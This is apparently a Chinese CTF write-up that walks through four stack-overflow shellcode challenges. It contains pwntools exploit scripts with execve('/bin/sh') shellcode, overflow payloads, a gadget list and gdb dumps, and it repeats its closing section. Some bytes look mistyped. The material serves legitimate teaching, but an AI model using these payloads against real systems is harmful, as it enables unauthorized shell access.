shellcode(一)
BITSCTF 2017-Command_Line
首先IDA分析程序邏輯:簡單的兩條語句,存在溢出點。
查看設置的保護機制:
RELRO:read only relocation。大概實現就是由linker指定binary的一塊經過dynamic linker處理過 relocation之後的區域爲只讀.設置符號重定向表格爲只讀或在程序啓動時就解析並綁定所有動態符號,從而減少對GOT(Global Offset Table)攻擊。RELRO爲” Partial RELRO”,說明我們對GOT表具有寫權限。
Stack:CANNARY(棧保護)啓用棧保護後,函數開始執行的時候會先往棧裏插入cookie信息,當函數真正返回的時候會驗證cookie信息是否合法,如果不合法就停止程序運行。攻擊者在覆蓋返回地址的時候往往也會將cookie信息給覆蓋掉,導致棧保護檢查失敗而阻止shellcode的執行。cookie信息稱爲canary
NX:即No-eXecute(不可執行)的意思,NX(又名DEP)的基本原理是將數據所在內存頁標識爲不可執行,當程序溢出成功轉入shellcode時,程序在嘗試在數據頁面上執行指令,時CPU會拋出異常,而不是去執行惡意指令。
PIE:位置獨立的可執行區域(position-independent executables)。這樣使得在利用緩衝溢出和移動操作系統中存在的其他內存崩潰缺陷時採用面向返回的編程(return-oriented programming)方法變得難得多
RWX:數據段的權限
- NX:
-z execstack
/-z noexecstack
(關閉 / 開啓) - Canary:
-fno-stack-protector
/-fstack-protector
/-fstack-protector-all
(關閉 / 開啓 / 全開啓) - PIE:
-no-pie
/-pie
(關閉 / 開啓) - RELRO:
-z norelro
/-z lazy
/-z now
(關閉 / 部分開啓 / 完全開啓)
可以看到程序基本什麼保護都沒,我們猜想可以簡單的放入一條shellcode來getshell。
運行一下:會得到程序中的局部變量V4的地址信息,我們寫入的shellcode可以直接放在這裏。
首先需要分析一下棧的需要填充的字符數量。
又因爲是64位程序,所以返回地址之前需要填充16+8個內容。
#!/usr/bin/python
#coding:utf-8
from pwn import *
io = remote('127.0.0.1',4000)
shellcode = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
shellcode1="\x48\x31\xc0\x99\xb0\x3b\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x48\x89\xe7\x57\x52\x48\x89\xe6\x0f\x05"
shellcode_address_at_stack = int(io.recv()[:-1], 16)+0x20
log.info("Leak stack address = %x", shellcode_address_at_stack)
payload = "\xa"*24
payload += p64(shellcode_address_at_stack)
payload += shellcode
io.sendline(payload)
io.interactive()
爲什麼shellcode可以執行呢?
那麼就需要思考一個問題,計算器中存儲數據都是一大堆因爲在計算器中對於數據的識別是依靠可以簡單的理解
CSAW Quals CTF 2017-pilot
是一個C++的程序,反彙編出僞代碼看上去很可怕,不管他,先運行。
邏輯很簡單,一大堆的輸出,一個輸入。
command上面都是一些無用的信息,打印一些情景描述,不用理會。直接看到read函數,發現一個溢出點。
沒有開啓執行保護,可以考慮直接放置shellcode來執行獲得shell。
所以偏移應該是32+8.
開始構造exp。
#!/usr/bin/python
#coding:utf-8
from pwn import *
io = remote('127.0.0.1',4000)
print(pidof(io))
shellcode ="
\x48\x31\xd2\x48\xbb\x2f\x2f\x62
\x69\x6e\x2f\x73\x68\x48\xc1\xeb
\x08\x53\x48\x89\xe7\x50\x57\x48
\x89\xe6\xb0\x3b\x0f\x05"
#\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05
#xor rdx, rdx
#mov rbx, 0x68732f6e69622f2f
#shr rbx, 0x8
#push rbx
#mov rdi, rsp
#push rax
#push rdi
#mov rsi, rsp
#mov al, 0x3b
#syscall
shellcode1='\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
shellcode2="\x48\x31\xc0\x99\xb0\x3b\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x48\x89\xe7\x57\x52\x48\x89\xe6\x0f\x05"
io.recvuntil(":")
shellcode_address_at_stack = int(io.recv()[:14], 16)+0x30
log.info("Leak stack address = %x", shellcode_address_at_stack)
pause()
payload = shellcode+"a"*(40-len(shellcode))
payload += p64(shellcode_address_at_stack)
io.sendline(payload)
io.interactive()
棧被正確佈置:(rsp在78)
但是程序運行到最後卻不能正常完成,爲何?
運行前
gdb-peda$ x/20gx 0x7fff0d9e9f50
0x7fff0d9e9f50: 0x622f2fbb48d23148 0xebc14868732f6e69
0x7fff0d9e9f60: 0x485750e789485308 0x6161050f3bb0e689
0x7fff0d9e9f70: 0x6161616161616161 0x0068732f6e69622f
0x7fff0d9e9f80: 0x0000000000011c0a 0x00007fff0d9ea058
0x7fff0d9e9f90: 0x000000010d9ea068 0x00000000004009a6
0x7fff0d9e9fa0: 0x0000000000000000 0x8ed19bc4f66e5499
0x7fff0d9e9fb0: 0x00000000004008b0 0x00007fff0d9ea050
0x7fff0d9e9fc0: 0x0000000000000000 0x0000000000000000
0x7fff0d9e9fd0: 0x712f8079de4e5499 0x709a16d0ee9e5499
0x7fff0d9e9fe0: 0x0000000000000000 0x0000000000000000
運行後
gdb-peda$ x/20gx 0x7fff0d9e9f50
0x7fff0d9e9f50: 0x622f2fbb48d23148 0xebc14868732f6e69
0x7fff0d9e9f60: 0x485750e789485308 0x00007fff0d9e9f78
0x7fff0d9e9f70: 0x0000000000000000 0x0068732f6e69622f
0x7fff0d9e9f80: 0x0000000000011c0a 0x00007fff0d9ea058
0x7fff0d9e9f90: 0x000000010d9ea068 0x00000000004009a6
0x7fff0d9e9fa0: 0x0000000000000000 0x8ed19bc4f66e5499
0x7fff0d9e9fb0: 0x00000000004008b0 0x00007fff0d9ea050
0x7fff0d9e9fc0: 0x0000000000000000 0x0000000000000000
0x7fff0d9e9fd0: 0x712f8079de4e5499 0x709a16d0ee9e5499
0x7fff0d9e9fe0: 0x0000000000000000 0x0000000000000000
對shellcode代碼進行分析可以知道在後面進行了兩次push操作,第三次push操作正好覆蓋了最後一段shellcode的執行,所以不能正常運行。這裏要進行分割剪切操作。
知識點:#敲黑板
jmp指令機器碼構造
jmp指令機器碼E9/EB,後面跟立即數則爲該段偏移的位置數。
;=======================================
1 [bits 32]
2
3 00000000 90 nop
4 00000001 90 nop
5 00000002 90 nop
6 00000003 E902000000 jmp test
7 00000008 90 nop
8 00000009 90 nop
9 test:
10 0000000A 90 nop
;=======================================
JMP 立即數,機器碼是 EB ,後面跟一個偏移量. 偏移量計算與上面CALL相同.test 地址是 0A,JMP指令後下一條指令地址是08,0A-08=2
所以我們只需要跳轉到後面去,讓存放shellcode的地方即是可控的,又不被push所影響即可。
通過前面的分析可以知道,前面安全的區域有24字節,總共棧可控的區域是40字節。不妨將一部分shellcode放在返回地址後面。
返回地址後的第一個內存單元是與第25個偏移爲24,即 E9 18,對shellcodo進行切割
shellcode1=
\x48\x31\xd2\x48\xbb\x2f\x2f\x62
\x69\x6e\x2f\x73\x68\x48\xc1\xeb
\x08\x53\x48\x89\xe7\x50\x57\x48
\xEB\18
shellcode2=
\x89\xe6\xb0\x3b\x0f\x05
所以修改以後的exp:
#!/usr/bin/python
#coding:utf-8
from pwn import *
io = process("./pilot")
print(pidof(io))
shellcode="\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\xE8\x18"
shellcode1="\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
io.recvuntil(":")
shellcode_address_at_stack = int(io.recv()[:14], 16)
log.info("Leak stack address = %x", shellcode_address_at_stack)
pause()
payload = shellcode+"\90"*(40-len(shellcode))
payload += p64(shellcode_address_at_stack)+shellcode1
io.sendline(payload)
io.interactive()
push指令先sp減去定大小,在壓入數。
修改之後的棧情況
得到shell。
其實。。這題不需要這麼複雜,但是恰好帶有一種分解shellcode的思想所以放在這裏談一談。我們從上面可以看到前面其實有24字節是安全的,如果有shellcode短於等於24字節那不是完事大吉??
\x6a\x3b\x58\x99\x52\x5e\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x51\x54\x5f\x0f\x05
#exp2.py
#!/usr/bin/python
#coding:utf-8
from pwn import *
io = process("./pilot")
print(pidof(io))
shellcode="\x6a\x3b\x58\x99\x52\x5e\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x51\x54\x5f\x0f\x05"
io.recvuntil(":")
shellcode_address_at_stack = int(io.recv()[:14], 16)
log.info("Leak stack address = %x", shellcode_address_at_stack)
payload = shellcode+"\90"*(40-len(shellcode))
payload += p64(shellcode_address_at_stack)
io.recv()
io.sendline(payload)
io.interactive()
#exp3.py
#!/usr/bin/env python
from pwn import *
sh = "\x6a\x3b\x58\x99\x52\x5e\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x51\x54\x5f\x0f\x05"
padding = '\x90' * (0x28 - len(sh))
conn = process("./pilot")
conn.recvuntil('Location:')
addr = p64(int(conn.recvline().strip(), 16))
payload = sh + padding + addr
conn.recvuntil('Command:')
conn.sendline(payload)
conn.interactive()
這道題既然可以用shellcode那麼可不可以用gadget自己構造呢?我們查看一下有哪些可以的gadget:
Gadgets information
============================================================
0x0000000000400973 : mov byte ptr [rip + 0x20183e], 1 ; ret
0x0000000000400bec : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400bee : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400bf0 : pop r14 ; pop r15 ; ret
0x0000000000400bf2 : pop r15 ; ret
0x0000000000400972 : pop rbp ; mov byte ptr [rip + 0x20183e], 1 ; ret
0x0000000000400beb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400bef : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400910 : pop rbp ; ret
0x0000000000400bf3 : pop rdi ; ret
0x0000000000400bf1 : pop rsi ; pop r15 ; ret
0x0000000000400bed : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007d9 : ret
0x0000000000400aa3 : ret 0x8d48
Unique gadgets found: 14
好吧。。雖然有通用gadget但是其實並不能夠產生系統調用所需的所有。。
BSides San Francisco CTF 2017-b_64_b_tuff
首先分析一下程序:
發現一個反調試的函數alarm,他限制了程序運行的時間從而干擾調試。
可以用sed -i s/alarm/isnan/g ./tuff
來替換掉alarm函數。從而解除本地調試限制的障礙。
程序的大概意思就是告訴了咱程序棧分配的最初始位置。然後讀取用戶輸入,在對輸入base64加密處理,再輸出。
解碼成shellcode的字符
PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA
#!/usr/bin/python
#coding:utf-8
from pwn import *
from base64 import *
io = process('./tuff')
shellcode = b64decode("PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA")
print io.recv()
io.send(shellcode)
print io.recv()
io.interactive()
Openctf 2016-tyro_shellcode1
先分析一下程序的邏輯:
mmap映射內存空間,read讀取,v5?執行函數?
有可能是讀取以後在運行。。
額。。保護有點多啊,看了一下gadget還不多,先試試再說。
額,成了。
from pwn import *
io=process ("./shellcode1")
#payload="\x6a\x3b\x58\x99\x52\x5e\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x51\x54\x5f\x0f\x05"
shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
io.send(shellcode)
io.interactive()
shellcode太長了好像會失敗,儘量找個短一點的。
一下gadget還不多,先試試再說。
額,成了。
[外鏈圖片轉存中…(img-UYpxyg1m-1585470949237)]
from pwn import *
io=process ("./shellcode1")
#payload="\x6a\x3b\x58\x99\x52\x5e\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x51\x54\x5f\x0f\x05"
shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
io.send(shellcode)
io.interactive()
shellcode太長了好像會失敗,儘量找個短一點的。